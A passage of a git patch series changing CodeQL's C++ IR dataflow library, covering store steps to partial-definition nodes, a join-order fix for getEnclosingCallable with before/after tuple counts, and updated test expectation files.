nodeTo.asInstruction().(ChiInstruction).getTotalOperand() = pd.getPreUpdateNode().asOperand() + ) +} + private predicate flowIntoReadNode(Node nodeFrom, Node nodeTo) { // flow from the "innermost" field to the load of that field. exists(FieldNode fieldNode | nodeTo = fieldNode | @@ -715,6 +745,8 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) { simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) or flowIntoReadNode(nodeFrom, nodeTo) + or + flowOutOfPostUpdate(nodeFrom, nodeTo) } pragma[noinline] From f5a2603cc10d25271466ef6ceabe4664aa955cc9 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:25:43 +0100 Subject: [PATCH 0355/1241] C++: Add store steps that target the new partial definitions. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 193 +++++++----------- 1 file changed, 69 insertions(+), 124 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 81769801c7d..73649da7594 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -228,69 +228,86 @@ private class ArrayContent extends Content, TArrayContent { override string toString() { result = "array content" } } -private predicate fieldStoreStepNoChi(Node node1, FieldContent f, PostUpdateNode node2) { - exists(StoreInstruction store, Class c | - store = node2.asInstruction() and +/** + * A store step from the value of a `StoreInstruction` to the "innermost" field of the destination. + * This predicate only holds when there is no `ChiInsturction` that merges the result of the + * `StoreInstruction` into a larger memory. + */ +private predicate instrToFieldNodeStoreStepNoChi( + Node node1, FieldContent f, PartialDefinitionNode node2 +) { + exists(StoreInstruction store, PostUpdateFieldNode post | + post = node2.getPartialDefinition() and + not exists(ChiInstruction chi | chi.getPartial() = store) and + post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and store.getSourceValueOperand() = node1.asOperand() and - getWrittenField(store, f.(FieldContent).getAField(), c) and - f.hasOffset(c, _, _) + f.getADirectField() = post.getField() ) } -private FieldAddressInstruction getFieldInstruction(Instruction instr) { - result = instr or - result = instr.(CopyValueInstruction).getUnary() -} - -pragma[noinline] -private predicate getWrittenField(Instruction instr, Field f, Class c) { - exists(FieldAddressInstruction fa | - fa = - getFieldInstruction([ - instr.(StoreInstruction).getDestinationAddress(), - instr.(WriteSideEffectInstruction).getDestinationAddress() - ]) and - f = fa.getField() and - c = f.getDeclaringType() - ) -} - -private predicate fieldStoreStepChi(Node node1, FieldContent f, PostUpdateNode node2) { - exists(ChiPartialOperand operand, ChiInstruction chi | - chi.getPartialOperand() = operand and +/** + * A store step from a `StoreInstruction` to the "innermost" field + * of the destination. This predicate only holds when there exists a `ChiInstruction` that merges the + * result of the `StoreInstruction` into a larger memory. + */ +private predicate instrToFieldNodeStoreStepChi( + Node node1, FieldContent f, PartialDefinitionNode node2 +) { + exists( + ChiPartialOperand operand, StoreInstruction store, ChiInstruction chi, PostUpdateFieldNode post + | + post = node2.getPartialDefinition() and + not chi.isResultConflated() and node1.asOperand() = operand and - node2.asInstruction() = chi and - exists(Class c | - c = chi.getResultType() and - exists(int startBit, int endBit | - chi.getUpdatedInterval(startBit, endBit) and - f.hasOffset(c, startBit, endBit) - ) - or - getWrittenField(operand.getDef(), f.getAField(), c) and - f.hasOffset(c, _, _) - ) + chi.getPartialOperand() = operand and + store = operand.getDef() and + post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + f.getADirectField() = post.getField() ) } -private predicate arrayStoreStepChi(Node node1, ArrayContent a, PostUpdateNode node2) { +private predicate callableWithoutDefinitionStoreStep( + Node node1, FieldContent f, PartialDefinitionNode node2 +) { + exists( + WriteSideEffectInstruction write, ChiInstruction chi, PostUpdateFieldNode post, + Function callable + | + chi.getPartial() = write and + not chi.isResultConflated() and + post = node2.getPartialDefinition() and + node1.asInstruction() = write and + post.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and + f.getADirectField() = post.getField() and + callable = write.getPrimaryInstruction().(CallInstruction).getStaticCallTarget() and + not callable.hasDefinition() + ) +} + +/** + * A store step from a `StoreInstruction` to the `ChiInstruction` generated from assigning + * to a pointer or array indirection + */ +private predicate arrayStoreStepChi(Node node1, ArrayContent a, PartialDefinitionNode node2) { a = TArrayContent() and - exists(ChiPartialOperand operand, ChiInstruction chi, StoreInstruction store | + exists( + ChiPartialOperand operand, ChiInstruction chi, StoreInstruction store, PartialDefinition pd + | + pd = node2.getPartialDefinition() and chi.getPartialOperand() = operand and store = operand.getDef() and node1.asOperand() = operand and // This `ChiInstruction` will always have a non-conflated result because both `ArrayStoreNode` // and `PointerStoreNode` require it in their characteristic predicates. - node2.asInstruction() = chi and - ( - // `x[i] = taint()` - // This matches the characteristic predicate in `ArrayStoreNode`. - store.getDestinationAddress() instanceof PointerAddInstruction - or - // `*p = taint()` - // This matches the characteristic predicate in `PointerStoreNode`. - store.getDestinationAddress().(CopyValueInstruction).getUnary() instanceof LoadInstruction - ) + pd.getPreUpdateNode().asOperand() = chi.getTotalOperand() + | + // `x[i] = taint()` + // This matches the characteristic predicate in `ArrayStoreNode`. + store.getDestinationAddress() instanceof PointerAddInstruction + or + // `*p = taint()` + // This matches the characteristic predicate in `PointerStoreNode`. + store.getDestinationAddress().(CopyValueInstruction).getUnary() instanceof LoadInstruction ) } @@ -300,82 +317,10 @@ private predicate arrayStoreStepChi(Node node1, ArrayContent a, PostUpdateNode n * value of `node1`. */ predicate storeStep(Node node1, Content f, PostUpdateNode node2) { - fieldStoreStepNoChi(node1, f, node2) or - fieldStoreStepChi(node1, f, node2) or + instrToFieldNodeStoreStepNoChi(node1, f, node2) or + instrToFieldNodeStoreStepChi(node1, f, node2) or arrayStoreStepChi(node1, f, node2) or - fieldStoreStepAfterArraySuppression(node1, f, node2) -} - -// This predicate pushes the correct `FieldContent` onto the access path when the -// `suppressArrayRead` predicate has popped off an `ArrayContent`. -private predicate fieldStoreStepAfterArraySuppression( - Node node1, FieldContent f, PostUpdateNode node2 -) { - exists(WriteSideEffectInstruction write, ChiInstruction chi, Class c | - not chi.isResultConflated() and - node1.asInstruction() = chi and - node2.asInstruction() = chi and - chi.getPartial() = write and - getWrittenField(write, f.getAField(), c) and - f.hasOffset(c, _, _) - ) -} - -bindingset[result, i] -private int unbindInt(int i) { i <= result and i >= result } - -pragma[noinline] -private predicate getLoadedField(LoadInstruction load, Field f, Class c) { - exists(FieldAddressInstruction fa | - fa = load.getSourceAddress() and - f = fa.getField() and - c = f.getDeclaringType() - ) -} - -/** - * Holds if data can flow from `node1` to `node2` via a read of `f`. - * Thus, `node1` references an object with a field `f` whose value ends up in - * `node2`. - */ -private predicate fieldReadStep(Node node1, FieldContent f, Node node2) { - exists(LoadOperand operand | - node2.asOperand() = operand and - node1.asInstruction() = operand.getAnyDef() and - exists(Class c | - c = operand.getAnyDef().getResultType() and - exists(int startBit, int endBit | - operand.getUsedInterval(unbindInt(startBit), unbindInt(endBit)) and - f.hasOffset(c, startBit, endBit) - ) - or - getLoadedField(operand.getUse(), f.getAField(), c) and - f.hasOffset(c, _, _) - ) - ) -} - -/** - * When a store step happens in a function that looks like an array write such as: - * ```cpp - * void f(int* pa) { - * pa = source(); - * } - * ``` - * it can be a write to an array, but it can also happen that `f` is called as `f(&a.x)`. If that is - * the case, the `ArrayContent` that was written by the call to `f` should be popped off the access - * path, and a `FieldContent` containing `x` should be pushed instead. - * So this case pops `ArrayContent` off the access path, and the `fieldStoreStepAfterArraySuppression` - * predicate in `storeStep` ensures that we push the right `FieldContent` onto the access path. - */ -predicate suppressArrayRead(Node node1, ArrayContent a, Node node2) { - a = TArrayContent() and - exists(WriteSideEffectInstruction write, ChiInstruction chi | - node1.asInstruction() = write and - node2.asInstruction() = chi and - chi.getPartial() = write and - getWrittenField(write, _, _) - ) + callableWithoutDefinitionStoreStep(node1, f, node2) } private class ArrayToPointerConvertInstruction extends ConvertInstruction { From 145ab17f6bca931e4c36f54148b1ce3035f2994e Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:26:24 +0100 Subject: [PATCH 0356/1241] Fix a bad join-order caused by the optimizer not seeing that `Node.getEnclosingCallable` is functional. This is fixed in the same way as in Java's DataFlowUtil: We make create a non-virtual dispatching `getEnclosingCallableImpl`, and implement `getEnclosingCallable` as a wrapper that uses the `unique` aggregate to tell the compiler that there is exactly 1 result. Tuple numbers from an arbitrarily chosen iteration of DataFlowImpl3::Stage4::fwdFlow0#fffff. Before: 4569 ~5% {5} r24 = SCAN DataFlowImpl3::Stage4::fwdFlow#fffff#prev_delta AS I OUTPUT I.<0>, I.<4> 'config', I.<1>, I.<2>, I.<3> 2876 ~1% {5} r25 = JOIN r24 WITH DataFlowImpl3::LocalFlowBigStep::localFlowEntry#ff AS R ON FIRST 2 OUTPUT r24.<2> 'cc', r24.<0>, r24.<3> 'argAp', r24.<4>, r24.<1> 'config' 409404537 ~0% {6} r26 = JOIN r25 WITH DataFlowImplCommon::getLocalCallContext#cpe#12#ff AS R ON FIRST 1 OUTPUT r25.<1>, R.<1>, r25.<0> 'cc', r25.<2> 'argAp', r25.<3>, r25.<4> 'config' 2876 ~0% {6} r27 = JOIN r26 WITH DataFlowUtil::Node::getEnclosingCallable_dispred#ff AS R ON FIRST 2 OUTPUT r26.<0>, true, r26.<5> 'config', r26.<2> 'cc', r26.<3> 'argAp', r26.<4> 79821 ~1781% {5} r28 = JOIN r27 WITH DataFlowImpl3::Stage4::localStep#ffbfff_0241#join_rhs AS R ON FIRST 3 OUTPUT r27.<3> 'cc', r27.<4> 'argAp', r27.<2> 'config', r27.<5> 'ap', R.<3> 'node' 2876 ~0% {5} r29 = JOIN r26 WITH DataFlowUtil::Node::getEnclosingCallable_dispred#ff AS R ON FIRST 2 OUTPUT r26.<4>, r26.<0>, r26.<2> 'cc', r26.<3> 'argAp', r26.<5> 'config' 0 ~0% {5} r30 = JOIN r29 WITH DataFlowImpl3::TNil#ff_1#join_rhs AS R ON FIRST 1 OUTPUT r29.<1>, false, r29.<4> 'config', r29.<2> 'cc', r29.<3> 'argAp' 0 ~0% {5} r31 = JOIN r30 WITH DataFlowImpl3::Stage4::localStep#ffbfff_02413#join_rhs AS R ON FIRST 3 OUTPUT r30.<3> 'cc', r30.<4> 'argAp', r30.<2> 'config', R.<4> 'ap', R.<3> 'node' 4569 ~157% {6} r32 = JOIN DataFlowImpl3::Stage4::fwdFlow0#fffff#join_rhs AS L WITH DataFlowImpl3::Stage4::fwdFlow#fffff#prev_delta AS R CARTESIAN PRODUCT OUTPUT R.<3>, L.<0> 'ap', L.<1> 'cc', L.<2> 'argAp', R.<0>, R.<4> 'config' 0 ~0% {5} r33 = JOIN r32 WITH DataFlowImpl3::TNil#ff_1#join_rhs AS R ON FIRST 1 OUTPUT r32.<4>, r32.<5> 'config', r32.<1> 'ap', r32.<2> 'cc', r32.<3> 'argAp' 0 ~0% {5} r34 = JOIN r33 WITH DataFlowImpl3::additionalJumpStep#fff_021#join_rhs AS R ON FIRST 2 OUTPUT R.<2> 'node', r33.<2> 'ap', r33.<3> 'cc', r33.<4> 'argAp', r33.<1> 'config' 0 ~0% {5} r35 = JOIN r34 WITH DataFlowUtil::TIRDataFlowNode#f@staged_ext AS R ON FIRST 1 OUTPUT r34.<0> 'node', r34.<1> 'ap', r34.<2> 'cc', r34.<3> 'argAp', r34.<4> 'config' 0 ~0% {6} r36 = JOIN r35 WITH project#DataFlowImpl3::Stage3::revFlow#fffff#12 AS R ON FIRST 1 OUTPUT r35.<1> 'ap', r35.<2> 'cc', r35.<3> 'argAp', r35.<4> 'config', r35.<0> 'node', R.<1> After: 4569 ~0% {5} r24 = SCAN DataFlowImpl3::Stage4::fwdFlow#fffff#prev_delta AS I OUTPUT I.<0>, I.<4> 'config', I.<1>, I.<2>, I.<3> 2876 ~0% {5} r25 = JOIN r24 WITH DataFlowImpl3::LocalFlowBigStep::localFlowEntry#ff AS R ON FIRST 2 OUTPUT r24.<0>, r24.<2> 'cc', r24.<3> 'argAp', r24.<4>, r24.<1> 'config' 2876 ~0% {6} r26 = JOIN r25 WITH DataFlowUtil::Node::getEnclosingCallable_dispred#ff AS R ON FIRST 1 OUTPUT r25.<1> 'cc', R.<1>, r25.<0>, r25.<2> 'argAp', r25.<3>, r25.<4> 'config' 2876 ~0% {6} r27 = JOIN r26 WITH DataFlowImplCommon::getLocalCallContext#cpe#12#fb AS R ON FIRST 2 OUTPUT r26.<2>, true, r26.<5> 'config', r26.<0> 'cc', r26.<3> 'argAp', r26.<4> 79821 ~1862% {5} r28 = JOIN r27 WITH DataFlowImpl3::Stage4::localStep#ffbfff_0241#join_rhs AS R ON FIRST 3 OUTPUT r27.<3> 'cc', r27.<4> 'argAp', r27.<2> 'config', r27.<5> 'ap', R.<3> 'node' 2876 ~0% {5} r29 = JOIN r26 WITH DataFlowImplCommon::getLocalCallContext#cpe#12#fb AS R ON FIRST 2 OUTPUT r26.<4>, r26.<2>, r26.<0> 'cc', r26.<3> 'argAp', r26.<5> 'config' 0 ~0% {5} r30 = JOIN r29 WITH DataFlowImpl3::TNil#ff_1#join_rhs AS R ON FIRST 1 OUTPUT r29.<1>, false, r29.<4> 'config', r29.<2> 'cc', r29.<3> 'argAp' 0 ~0% {5} r31 = JOIN r30 WITH DataFlowImpl3::Stage4::localStep#ffbfff_02413#join_rhs AS R ON FIRST 3 OUTPUT r30.<3> 'cc', r30.<4> 'argAp', r30.<2> 'config', R.<4> 'ap', R.<3> 'node' 4569 ~148% {6} r32 = JOIN DataFlowImpl3::Stage4::fwdFlow0#fffff#join_rhs AS L WITH DataFlowImpl3::Stage4::fwdFlow#fffff#prev_delta AS R CARTESIAN PRODUCT OUTPUT R.<3>, L.<0> 'ap', L.<1> 'cc', L.<2> 'argAp', R.<0>, R.<4> 'config' 0 ~0% {5} r33 = JOIN r32 WITH DataFlowImpl3::TNil#ff_1#join_rhs AS R ON FIRST 1 OUTPUT r32.<4>, r32.<5> 'config', r32.<1> 'ap', r32.<2> 'cc', r32.<3> 'argAp' 0 ~0% {5} r34 = JOIN r33 WITH DataFlowImpl3::additionalJumpStep#fff_021#join_rhs AS R ON FIRST 2 OUTPUT R.<2> 'node', r33.<2> 'ap', r33.<3> 'cc', r33.<4> 'argAp', r33.<1> 'config' 0 ~0% {5} r35 = JOIN r34 WITH DataFlowUtil::TIRDataFlowNode#f@staged_ext AS R ON FIRST 1 OUTPUT r34.<0> 'node', r34.<1> 'ap', r34.<2> 'cc', r34.<3> 'argAp', r34.<4> 'config' 0 ~0% {6} r36 = JOIN r35 WITH project#DataFlowImpl3::Stage3::revFlow#fffff#12 AS R ON FIRST 1 OUTPUT r35.<1> 'ap', r35.<2> 'cc', r35.<3> 'argAp', r35.<4> 'config', r35.<0> 'node', R.<1> --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 39e232e68b3..318ddf9c48d 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -32,7 +32,22 @@ class Node extends TIRDataFlowNode { /** * INTERNAL: Do not use. */ - Declaration getEnclosingCallable() { none() } // overridden in subclasses + final Declaration getEnclosingCallable() { + result = unique(Declaration d | d = this.getEnclosingCallableImpl() | d) + } + + final private Declaration getEnclosingCallableImpl() { + result = this.asInstruction().getEnclosingFunction() or + result = this.asOperand().getUse().getEnclosingFunction() or + // When flow crosses from one _enclosing callable_ to another, the + // interprocedural data-flow library discards call contexts and inserts a + // node in the big-step relation used for human-readable path explanations. + // Therefore we want a distinct enclosing callable for each `VariableNode`, + // and that can be the `Variable` itself. + result = this.asVariable() or + result = this.(FieldNode).getFieldInstruction().getEnclosingFunction() or + result = this.(PartialDefinitionNode).getPreUpdateNode().getFunction() + } /** Gets the function to which this node belongs, if any. */ Function getFunction() { none() } // overridden in subclasses @@ -137,8 +152,6 @@ class InstructionNode extends Node, TInstructionNode { /** Gets the instruction corresponding to this node. */ Instruction getInstruction() { result = instr } - override Declaration getEnclosingCallable() { result = this.getFunction() } - override Function getFunction() { result = instr.getEnclosingFunction() } override IRType getType() { result = instr.getResultIRType() } @@ -163,8 +176,6 @@ class OperandNode extends Node, TOperandNode { /** Gets the operand corresponding to this node. */ Operand getOperand() { result = op } - override Declaration getEnclosingCallable() { result = this.getFunction() } - override Function getFunction() { result = op.getUse().getEnclosingFunction() } override IRType getType() { result = op.getIRType() } @@ -599,15 +610,6 @@ class VariableNode extends Node, TVariableNode { override Function getFunction() { none() } - override Declaration getEnclosingCallable() { - // When flow crosses from one _enclosing callable_ to another, the - // interprocedural data-flow library discards call contexts and inserts a - // node in the big-step relation used for human-readable path explanations. - // Therefore we want a distinct enclosing callable for each `VariableNode`, - // and that can be the `Variable` itself. - result = v - } - override IRType getType() { result.getCanonicalLanguageType().hasUnspecifiedType(v.getType(), _) } override Location getLocation() { result = v.getLocation() } From 72a80e37228d0aa737601f2217cb16dce72160ac Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:41:39 +0100 Subject: [PATCH 0357/1241] C++: Accept test changes. --- .../dataflow-ir-consistency.expected | 65 +-- .../dataflow/dataflow-tests/test.cpp | 2 +- .../dataflow/fields/aliasing.cpp | 4 +- .../fields/dataflow-ir-consistency.expected | 203 +++----- .../dataflow/fields/ir-path-flow.expected | 449 ++++++++++++------ .../fields/partial-definition-diff.expected | 247 ++++------ .../fields/partial-definition-ir.expected | 247 ++++++++++ 7 files changed, 724 insertions(+), 493 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/dataflow-ir-consistency.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/dataflow-ir-consistency.expected index fc6c97aa2a6..b9f6f717c80 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/dataflow-ir-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/dataflow-ir-consistency.expected @@ -26,60 +26,21 @@ unreachableNodeCCtx localCallNodes postIsNotPre postHasUniquePre +| dispatch.cpp:15:8:15:8 | Top output argument | PostUpdateNode should have one pre-update node but has 0. | +| dispatch.cpp:21:8:21:8 | Middle output argument | PostUpdateNode should have one pre-update node but has 0. | +| dispatch.cpp:60:18:60:29 | Bottom output argument | PostUpdateNode should have one pre-update node but has 0. | +| dispatch.cpp:61:18:61:29 | Middle output argument | PostUpdateNode should have one pre-update node but has 0. | +| dispatch.cpp:65:10:65:21 | Bottom output argument | PostUpdateNode should have one pre-update node but has 0. | +| test.cpp:384:10:384:13 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | +| test.cpp:391:10:391:13 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | +| test.cpp:400:10:400:13 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | +| test.cpp:407:10:407:13 | memcpy output argument | PostUpdateNode should have one pre-update node but has 0. | uniquePostUpdate postIsInSameCallable reverseRead argHasPostUpdate postWithInFlow -| BarrierGuard.cpp:49:3:49:17 | Chi | PostUpdateNode should not be the target of local flow. | -| BarrierGuard.cpp:60:3:60:18 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:28:3:28:34 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:34:22:34:27 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:34:32:34:37 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:39:32:39:37 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:39:42:39:47 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:43:35:43:40 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:43:51:43:51 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:49:25:49:30 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:49:35:49:40 | Chi | PostUpdateNode should not be the target of local flow. | -| clang.cpp:50:3:50:26 | Chi | PostUpdateNode should not be the target of local flow. | -| example.c:17:19:17:22 | Chi | PostUpdateNode should not be the target of local flow. | -| example.c:17:21:17:21 | Chi | PostUpdateNode should not be the target of local flow. | -| example.c:24:2:24:30 | Chi | PostUpdateNode should not be the target of local flow. | -| example.c:24:13:24:30 | Chi | PostUpdateNode should not be the target of local flow. | -| example.c:26:2:26:25 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| lambdas.cpp:13:12:13:12 | Chi | PostUpdateNode should not be the target of local flow. | -| lambdas.cpp:13:15:13:15 | Chi | PostUpdateNode should not be the target of local flow. | -| lambdas.cpp:28:10:31:2 | Chi | PostUpdateNode should not be the target of local flow. | -| lambdas.cpp:28:10:31:2 | Chi | PostUpdateNode should not be the target of local flow. | -| lambdas.cpp:43:3:43:14 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:11:5:11:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:20:5:20:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:22:7:22:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:24:7:24:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:29:5:29:18 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:31:7:31:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:39:7:39:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:44:5:44:18 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:46:7:46:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:48:7:48:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:75:5:75:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:83:5:83:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:87:7:87:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:89:7:89:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:94:5:94:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:96:7:96:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:104:7:104:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:109:5:109:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:113:7:113:17 | Chi | PostUpdateNode should not be the target of local flow. | -| ref.cpp:115:7:115:17 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:91:3:91:18 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:115:3:115:17 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:120:3:120:10 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:125:3:125:11 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:359:5:359:20 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:373:5:373:20 | Chi | PostUpdateNode should not be the target of local flow. | -| test.cpp:465:3:465:15 | Chi | PostUpdateNode should not be the target of local flow. | +| test.cpp:384:10:384:13 | memcpy output argument | PostUpdateNode should not be the target of local flow. | +| test.cpp:391:10:391:13 | memcpy output argument | PostUpdateNode should not be the target of local flow. | +| test.cpp:400:10:400:13 | memcpy output argument | PostUpdateNode should not be the target of local flow. | +| test.cpp:407:10:407:13 | memcpy output argument | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test.cpp b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test.cpp index f59552aa2dd..774ecddeab2 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test.cpp @@ -362,7 +362,7 @@ class FlowThroughFields { int f() { sink(field); // tainted or clean? Not sure. taintField(); - sink(field); // $ ast MISSING: ir + sink(field); // $ ast,ir } int calledAfterTaint() { diff --git a/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp b/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp index 8b3c0f29ab2..833e85600a6 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp +++ b/cpp/ql/test/library-tests/dataflow/fields/aliasing.cpp @@ -210,7 +210,7 @@ void test_deep_struct_fields() { S2 s2; s2.s.m1 = user_input(); S s = s2.s; - sink(s.m1); // $ ast MISSING: ir + sink(s.m1); // $ ast,ir } void test_deep_struct_fields_no_flow() { @@ -224,7 +224,7 @@ void test_deep_struct_fields_taint_through_call() { S2 s2; taint_a_ptr(&s2.s.m1); S s = s2.s; - sink(s.m1); // $ ast MISSING: ir + sink(s.m1); // $ ast,ir } void test_deep_struct_fields_taint_through_call_no_flow() { diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected index 23f8d07717f..e79aeea7e8e 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected @@ -16,149 +16,70 @@ unreachableNodeCCtx localCallNodes postIsNotPre postHasUniquePre -| simple.cpp:65:5:65:22 | Store | PostUpdateNode should have one pre-update node but has 0. | -| simple.cpp:92:5:92:22 | Store | PostUpdateNode should have one pre-update node but has 0. | -| simple.cpp:104:5:104:24 | Store | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:9:9:9:9 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:14:9:14:9 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:31:14:31:21 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:38:7:38:8 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:39:7:39:8 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:41:15:41:21 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:47:12:47:18 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:54:12:54:18 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:55:12:55:19 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:57:11:57:24 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:57:17:57:23 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:62:13:62:19 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:64:21:64:28 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:71:13:71:19 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:73:25:73:32 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:89:15:89:21 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:99:14:99:21 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:116:12:116:19 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:126:12:126:18 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:130:12:130:18 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:142:14:142:20 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:143:25:143:31 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:150:12:150:18 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:151:12:151:24 | D output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:159:12:159:18 | B output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:160:18:160:60 | MyList output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:160:32:160:59 | MyList output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:161:18:161:40 | MyList output argument | PostUpdateNode should have one pre-update node but has 0. | +| A.cpp:162:18:162:40 | MyList output argument | PostUpdateNode should have one pre-update node but has 0. | +| B.cpp:7:16:7:35 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| B.cpp:8:16:8:27 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| B.cpp:16:16:16:38 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| B.cpp:17:16:17:27 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| C.cpp:18:12:18:18 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:29:15:29:41 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:29:24:29:40 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:36:15:36:41 | Box2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:36:24:36:40 | Box1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| D.cpp:43:15:43:41 | Box2 output argument | PostUpdateNode should have one 